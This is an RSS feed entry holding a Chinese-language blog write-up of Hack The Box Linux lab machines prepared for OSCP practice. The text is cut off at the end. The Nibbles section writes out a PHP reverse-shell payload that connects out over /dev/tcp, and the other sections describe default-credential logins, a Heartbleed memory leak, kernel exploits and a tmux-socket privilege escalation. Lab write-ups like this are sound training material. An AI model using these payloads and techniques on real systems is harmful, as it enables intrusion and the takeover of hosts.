<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Linux on MentalityXt</title><link>http://xtpol.com/zh/tags/linux/</link><description>Recent content in Linux on MentalityXt</description><generator>Hugo -- gohugo.io</generator><language>zh-cn</language><lastBuildDate>Sun, 10 Nov 2024 15:15:00 +0800</lastBuildDate><atom:link href="http://xtpol.com/zh/tags/linux/index.xml" rel="self" type="application/rss+xml"/><item><title>Hack The Box：Linux 靶机笔记</title><link>http://xtpol.com/zh/p/hackthebox-linux-boxes/</link><pubDate>Sun, 10 Nov 2024 15:15:00 +0800</pubDate><guid>http://xtpol.com/zh/p/hackthebox-linux-boxes/</guid><description>&lt;p&gt;这里包括大部分hackthebox关于oscp的靶场 大部分都是按照个人思路来的&lt;/p&gt;&#10;&lt;h2 id="1sense"&gt;&lt;a href="#1sense" class="header-anchor"&gt;&lt;/a&gt;1.sense&#10;&lt;/h2&gt;&lt;p&gt;信息收集:&lt;/p&gt;&#10;&lt;p&gt;(关机了大致如下)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;在https://10.10.10.60/system-users.txt 找到了密码&lt;/p&gt;&#10;&lt;p&gt;默认账户/密码为 admin:pfsense&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;当前的账号密码则为 rohit/pfsense&lt;/p&gt;&#10;&lt;p&gt;whatweb没有扫到指纹 在源码页面 查找sense 找到了框架为 pfsense 所以才有这一系列操作&lt;/p&gt;&#10;&lt;p&gt;登陆成功主页有版本 2.1.3-RELEASE&lt;/p&gt;&#10;&lt;p&gt;漏洞利用出现问题&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0004.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;源码无法直接使用 更改源码构造payload&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;大概率挂了ssl所以访问报错 得手动访问就行 将cookie放到代码里改代码就行了 得有点python基础&lt;/p&gt;&#10;&lt;p&gt;访问直接反弹shell 关机了没截图&lt;/p&gt;&#10;&lt;p&gt;两个flag:&lt;/p&gt;&#10;&lt;p&gt;/home/rohit/user.txt&lt;/p&gt;&#10;&lt;p&gt;/root/root.txt&lt;/p&gt;&#10;&lt;p&gt;入门难度&lt;/p&gt;&#10;&lt;h2 id="2nibbles"&gt;&lt;a href="#2nibbles" class="header-anchor"&gt;&lt;/a&gt;2.Nibbles&#10;&lt;/h2&gt;&lt;p&gt;信息收集:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0006.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;先简单扫描一下&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0007.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;指纹&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0008.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0009.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;找到默认口令&lt;/p&gt;&#10;&lt;p&gt;admin/nibbles&lt;/p&gt;&#10;&lt;p&gt;kali下有个默认msf利用脚本 针对oscp来说一般不使用msf脚本&lt;/p&gt;&#10;&lt;p&gt;找到了一个github脚本 并且根据该漏洞描述也可以自己构造脚本&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/dix0nym/CVE-2015-6967" target="_blank" rel="noopener"&#10; &gt;https://github.com/dix0nym/CVE-2015-6967&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0010.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;读了下代码 主要是从admin.php?controller=plugins&amp;amp;action=config&amp;amp;plugin=my_image 传文件&lt;/p&gt;&#10;&lt;p&gt;然后并访问执行 写一个弹shell的php即可&lt;/p&gt;&#10;&lt;p&gt;&amp;lt;?php exec(&amp;ldquo;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.19/9999 &amp;lt;&amp;amp;1&amp;rsquo;&amp;rdquo;);?&amp;gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0011.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;收到了nibbler的shell&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.75/nibbleblog/content/" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.75/nibbleblog/content/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;目录穿越点 不用再读下面文件了 直接找配置文件 nibbleblog 加权了不让读&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0012.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;发现三个点 最明显的利用应该是最下面的那个 但还是挨个来&lt;/p&gt;&#10;&lt;p&gt;先生成一个tty&lt;/p&gt;&#10;&lt;p&gt;python3 -c &amp;lsquo;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;我们不知道密码 这一条暂时放下&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0013.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;.nano没有任何东西 咱们直接去最后一条&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0014.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;直接提权就行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0015.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;提权完成 也是入门级别 主要是熟悉各种操作吧&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0016.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h2 id="3solidstate"&gt;&lt;a href="#3solidstate" class="header-anchor"&gt;&lt;/a&gt;3.solidstate&#10;&lt;/h2&gt;&lt;p&gt;已完结 借用一下别人的图 有部分思路有问题&lt;/p&gt;&#10;&lt;p&gt;信息收集：&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0017.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;80端口只找到一个发邮件的界面，翻了半天没东西。&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0018.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;nntp和james-admin 没了解过&lt;/p&gt;&#10;&lt;p&gt;smtp不太可能需要登录 因为不需要发邮件 侧重点当时放到了 pop3&lt;/p&gt;&#10;&lt;p&gt;测试出来webadmin@solid-state-security.com这个邮箱貌似存在 但是密码不知道 大部分时间放到了找pop3 &lt;a class="link" href="mailto:webadmin@solid-state-security.com" &gt;webadmin@solid-state-security.com&lt;/a&gt; 的密码上了&lt;/p&gt;&#10;&lt;p&gt;后续找到漏洞利用&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0019.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0020.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;修改脚本执行成功 但是根据描述 需要有人登录ssh才能执行我放入的命令 而我放入的命令是反弹shell的&lt;/p&gt;&#10;&lt;p&gt;所以这一条并不能行得通&lt;/p&gt;&#10;&lt;p&gt;这里遇到第一个盲点 4555端口的 james remote admin&lt;/p&gt;&#10;&lt;p&gt;在读刚刚那个python脚本时发现了他最开始定义了一个 root/root 的口令&lt;/p&gt;&#10;&lt;p&gt;并且脚本的顺利执行是离不开这个弱口令的 也就是说 4555端口 它通过这个账密登陆成功了&lt;/p&gt;&#10;&lt;p&gt;直接telnet 4555 执行命令的截图不见了 大致如下 输入账号密码 直接help&lt;/p&gt;&#10;&lt;p&gt;他会出现很多命令其中可以看账户 而账户你可以改密码 然后登录pop3 看收到的邮件的 全部把密码重置即可&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0021.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;挨个看即可&lt;/p&gt;&#10;&lt;p&gt;最后在mindy的号发现了密码&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0022.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;pop3基础命令网上都有&lt;/p&gt;&#10;&lt;p&gt;这里有了一个立足点，下面就该提权了，提权也犯了个错误看了一下老外的wp&lt;/p&gt;&#10;&lt;p&gt;登陆成功，一个小插曲，之前不是提到了反弹shell需要有人登陆吗，刚好另一个接收到了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0023.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;取消监听就行了&lt;/p&gt;&#10;&lt;p&gt;rbash逃逸用的是这个 写的很详细&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/7642?time__1311=n4%2BxnD0DyDuDgDfxGqP05fbWDO8ipm4eG%3DKQO4D" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/7642?time__1311=n4%2BxnD0DyDuDgDfxGqP05fbWDO8ipm4eG%3DKQO4D&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;ssh &lt;a class="link" href="mailto:mindy@10.10.10.51" &gt;mindy@10.10.10.51&lt;/a&gt; -t &amp;ldquo;bash &amp;ndash;noprofile&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;提权遇到了很多问题&lt;/p&gt;&#10;&lt;p&gt;我的思路是sudo开始走 但是发现sudo用不了 su切换用户不知道root密码&lt;/p&gt;&#10;&lt;p&gt;看看suid发现也没有 cron也看了下 基本常规提权没有任何东西&lt;/p&gt;&#10;&lt;p&gt;后续找文件 只找到个 /opt/tmp.py 这个文件非常可疑 我当时没发现有什么联动这个文件 我就写个os.system(&amp;ldquo;id&amp;rdquo;) 看一下权限 我没找到这个文件是不是计划任务&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0024.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;很明显 他只可能是当前用户权限 但我确实我没找到他是不是计划任务&lt;/p&gt;&#10;&lt;p&gt;debian9 4.9.0-3-686-pae 也完全没有提权漏洞&lt;/p&gt;&#10;&lt;p&gt;我已经将目光放到了用户目录下的 /bin/ 下面了 因为下面也是 777权限 也是root的 但是实际上我无法用sudo&lt;/p&gt;&#10;&lt;p&gt;最后看了wp才发现 /opt/tmp.py 是计划任务 我翻了几个 他们是利用 &lt;a class="link" href="https://github.com/DominicBreuker/pspy" target="_blank" rel="noopener"&#10; &gt;pspy&lt;/a&gt; 或者 &lt;a class="link" href="https://linpeas.sh/" target="_blank" rel="noopener"&#10; &gt;https://linpeas.sh/&lt;/a&gt; 发现的&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0025.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;写个弹shell的就行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0026.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;实际上这些脚本我都收集过 但没有一个利用的习惯 只能说思路还是有问题 也算是优化了一下思路把&lt;/p&gt;&#10;&lt;h2 id="4node"&gt;&lt;a href="#4node" class="header-anchor"&gt;&lt;/a&gt;4.Node&#10;&lt;/h2&gt;&lt;p&gt;信息收集:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0027.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0028.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;从web开始看 node.js开发的 找到几个用户名可以记一下&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0029.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;翻了下js文件 翻到两个接口&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.58:3000/api/users/" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.58:3000/api/users/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.58:3000/api/users/latest" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.58:3000/api/users/latest&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0030.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;在访问主页时，为什么这三个人会显示慢点，我一开始以为ajax的图片加载慢，没想到还有这一出&lt;/p&gt;&#10;&lt;p&gt;这个地方其实有个工具能够快速找到 jsfinder 但是oscp一般不允许使用这种自动化的脚本 所以我目前是手动翻的&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0031.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;只有最后一个没跑出来&lt;/p&gt;&#10;&lt;p&gt;myP14ceAdm1nAcc0uNT manchester&lt;/p&gt;&#10;&lt;p&gt;tom spongebob&lt;/p&gt;&#10;&lt;p&gt;mark snowflake&lt;/p&gt;&#10;&lt;p&gt;挨个登录ssh和网页看看&lt;/p&gt;&#10;&lt;p&gt;只有管理员可以下在backup 实际上前端js里也有这个接口 但是加了鉴权 /api/admin/backup&lt;/p&gt;&#10;&lt;p&gt;backup文件base64解开之后发现为二进制文件 用了很多方法都没解开&lt;/p&gt;&#10;&lt;p&gt;最后发现这个是zip文件&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0032.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;base64压到文件里 然后zip解就行了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0033.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0034.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;app.js里有mongodb的密码 ssh可以直接连&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0035.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;mark:5AYRft73VtFpc84k&lt;/p&gt;&#10;&lt;p&gt;这次先把脚本传上去提权，没有任何常规提权，看了下内核找到了exp 这个是最符合的了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0036.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;传上去编译执行即可获得root权限&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0037.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h2 id="5valentine"&gt;&lt;a href="#5valentine" class="header-anchor"&gt;&lt;/a&gt;5.valentine&#10;&lt;/h2&gt;&lt;p&gt;信息收集:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0038.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0039.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;dev目录中找到个有意思的文件 解开后如下&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0040.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;有一个aes加密的密钥 还有一个rsa私钥 感觉可能是连接ssh的 根据名称来看应该是叫 hype 先试试看&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0041.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0042.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;好吧 找我们要key的密码&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0043.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;rockyou都没有密码 感觉网页里面还有东西&lt;/p&gt;&#10;&lt;p&gt;根据他的笔记内容来看 应该有个东西要解开 确保解码编码在客户端完成 在上线之前先修复这个 完成之前不要使用任何解码编码器&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0044.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;说实话看的云里雾里的 我将想法放到图片上 可能是技术问题 我发现这个图片啥都没有&lt;/p&gt;&#10;&lt;p&gt;我将希望放到目录爆破上 这个速度是真的慢 但是后面还是看到了几个加密的php文件&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0045.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;其实这里我忘了最重要的一步 有时候重要的提示 可以手动测试目录的&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0046.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;实际上这玩意啥都没有 没有任何思路了&lt;/p&gt;&#10;&lt;p&gt;后续只能看了下wp 发现了一个从来没有学习过的点 在nmap中扫描 &amp;ndash;script vuln&lt;/p&gt;&#10;&lt;p&gt;会扫描漏洞 而提到的漏洞中存在一个 Heartbleed 这个我完全没了解过 算是扩展了思维&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0047.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://stackabuse.com/how-to-exploit-the-heartbleed-bug/?ref=benheater.com" target="_blank" rel="noopener"&#10; &gt;https://stackabuse.com/how-to-exploit-the-heartbleed-bug/?ref=benheater.com&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# This is the packet that triggers the memory over-read.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# The heartbeat protocol works by returning to the client the same data that was sent.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# That is, if we send &amp;ldquo;abcd&amp;rdquo; the server will return &amp;ldquo;abcd&amp;rdquo;.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# The flaw is triggered when we tell the server that we are sending a message that is X bytes long&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# (64 kB in this case), but we send a shorter message; OpenSSL won&amp;rsquo;t check if we really sent the X bytes of data.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# The server will store our message, then read the X bytes of data from its memory&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# (it reads the memory region where our message is supposedly stored) and sends that read message back.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# Because we didn&amp;rsquo;t send any message at all&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# (we just told that we sent FF FF bytes, but no message was sent after that)&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# when OpenSSL receives our message, it won&amp;rsquo;t overwrite any of OpenSSL&amp;rsquo;s memory.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# Because of that, the received message will contain X bytes of actual OpenSSL memory.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;这个讲的非常详细，可以了解一下大概逻辑，告诉他我发送了多少个字节，但实际上我们并没有发送，他还是会将字节返回，并且我们并没有发送任何信息，他则会将服务器内存的隐私的信息发回。&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0048.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;kali下有多个脚本 测试一下看看&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0049.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;读了一下脚本 用法非常简单 还可以自定义端口&lt;/p&gt;&#10;&lt;p&gt;重启一下靶机 主要是因为nmap以及目录爆破工具跑的太多 导致重要信息全不见了 看了半天ua头全是nmap的&lt;/p&gt;&#10;&lt;p&gt;循环了几次发现根本找不到 写了一个脚本 最后找到了关键的text&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0050.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0051.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0052.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;解码为 heartbleedbelied&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0053.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;又是一个新问题 google看看&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0054.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0055.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;终于拿到了立足点 开始提权&lt;/p&gt;&#10;&lt;p&gt;第一件事还是sudo看看常规提权，但是没有密码所以用不了，开始探索文件，第一件事上传LinEnum.sh以及pspy&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0056.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;开始探索 发现这个linux版本很低 有对应的漏洞 于是开始打exp&lt;/p&gt;&#10;&lt;p&gt;ubuntu 12.04&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0057.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;找到了很多exp 都不行&lt;/p&gt;&#10;&lt;p&gt;便开始探索文件 历史命令有很多有意思的东西&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0058.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;tmux -S /.devs/dev_sess&lt;/p&gt;&#10;&lt;p&gt;执行了一下直接提权root了&lt;/p&gt;&#10;&lt;p&gt;了解一下为什么&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0059.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这个文件加了hype用户组 且给了读写权限 所以能直接使用这个套接字文件进行通信&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0060.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这里其实也看到了&lt;/p&gt;&#10;&lt;p&gt;定义的难度为初级 对于我而言差不多偏中了 主要是没有nmap的思路&lt;/p&gt;&#10;&lt;h2 id="6poison"&gt;&lt;a href="#6poison" class="header-anchor"&gt;&lt;/a&gt;6.Poison&#10;&lt;/h2&gt;&lt;p&gt;信息收集:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0061.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;80端口有个文件包含点&lt;/p&gt;&#10;&lt;p&gt;这个地方能利用的非常多 首先可以任意文件读取 然后有phpinfo的信息 还有个暴露了密码&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0062.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0063.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0064.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;用户密码都有了 可以登陆成功&lt;/p&gt;&#10;&lt;p&gt;再回过头看看刚刚的文件包含 远程代码执行被禁用了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0065.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;但是还可以将php代码写到他的log里面 然后包含log其实也能弹shell&lt;/p&gt;&#10;&lt;p&gt;但是他的用户权限好像太低了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0066.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0067.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这里直接登陆吧&lt;/p&gt;&#10;&lt;p&gt;全都翻了一遍 看到一个有意思的东西 他的shell是cshell 其次有一个secret.zip 这个文件需要密码&lt;/p&gt;&#10;&lt;p&gt;用nc传到kali john跑一下rockyou&lt;/p&gt;&#10;&lt;p&gt;&lt;img 